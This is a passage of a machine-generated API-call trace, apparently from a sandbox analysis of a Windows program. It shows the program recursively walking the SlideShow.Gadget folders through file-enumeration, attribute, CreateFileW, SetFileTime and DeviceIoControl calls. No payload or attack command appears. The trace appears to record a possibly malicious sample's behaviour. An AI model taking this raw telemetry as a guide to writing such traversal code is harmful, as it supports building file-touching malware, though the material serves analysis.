Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff358 [0080.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d1f0 [0080.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.881] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.881] GetLastError () returned 0x12 [0080.882] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.882] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.882] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.882] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d3f607d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.882] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.882] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.883] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.883] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.883] NtClose (Handle=0x124) returned 0x0 [0080.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122ecc0 [0080.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122edc8 [0080.884] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.884] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.884] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.884] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122eed0 [0080.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff378 [0080.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122efd8 [0080.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6280) returned 0x12312f0 [0080.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a7c8) returned 1 [0080.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.886] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.886] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff398 [0080.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f0e0 [0080.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.887] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 1 [0080.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff3b8 [0080.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f1e8 [0080.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.889] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 0 [0080.889] GetLastError () returned 0x12 [0080.889] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.889] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.889] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.889] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f2f0 [0080.889] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.889] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.889] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.890] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.890] NtClose (Handle=0x124) returned 0x0 [0080.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122f2f0) returned 1 [0080.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f2f0 [0080.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f3f8 [0080.891] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0080.891] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.891] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f500 [0080.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff3d8 [0080.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f608 [0080.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.893] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 1 [0080.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff3f8 [0080.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f710 [0080.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 0 [0080.894] GetLastError () returned 0x12 [0080.894] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.894] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 0 [0080.894] GetLastError () returned 0x12 [0080.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122f3f8) returned 1 [0080.895] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122f500) returned 1 [0080.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122f2f0) returned 1 [0080.895] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.895] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f2f0 [0080.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.895] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.896] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.896] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: 